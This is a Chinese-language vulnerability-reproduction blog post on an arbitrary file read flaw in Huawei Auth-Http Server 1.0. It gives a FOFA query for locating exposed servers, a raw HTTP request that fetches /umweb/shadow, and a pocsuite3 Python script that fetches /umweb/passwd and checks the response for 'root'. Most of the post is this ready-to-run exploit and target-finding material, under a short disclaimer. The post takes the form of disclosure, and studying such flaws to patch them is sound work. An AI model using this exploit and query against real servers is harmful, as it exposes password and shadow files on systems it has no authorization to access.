漏洞复现-华为Auth-HTTP服务器任意文件读取漏洞(附漏洞检测脚本)

2023-12-15 18:30:07

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

华为Auth-Http Server 1.0存在任意文件读取,攻击者可通过该漏洞读取任意文件。

fofa语句

server="Huawei Auth-Http Server 1.0"

poc语句加检测

GET /umweb/shadow HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/11 17:51
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class huawei_Auth_http_fileread(POCBase):
    pocDesc = '''华为Auth-Http Serve任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-11'
    name = '华为Auth-Http Serve任意文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/umweb/passwd'
        headers = {
            'Te': 'trailers',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Sec-Fetch-Site': 'none',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-User': '?1',
            'Sec-Fetch-Dest': 'document',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'keep-alive',
            'Sec-Ch-Ua': '"Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"',
            'Sec-Ch-Ua-Mobile': '?0',
            'Sec-Ch-Ua-Platform': '"Windows"'
        }
        try:
            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'root' in response.text:
                result['VerifyInfo'] = {}

            return self.parse_output(result)


        except Exception as e:
            pass

register_poc(huawei_Auth_http_fileread)

脚本利用

文章来源:https://blog.csdn.net/jjjj1029056414/article/details/134934001
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。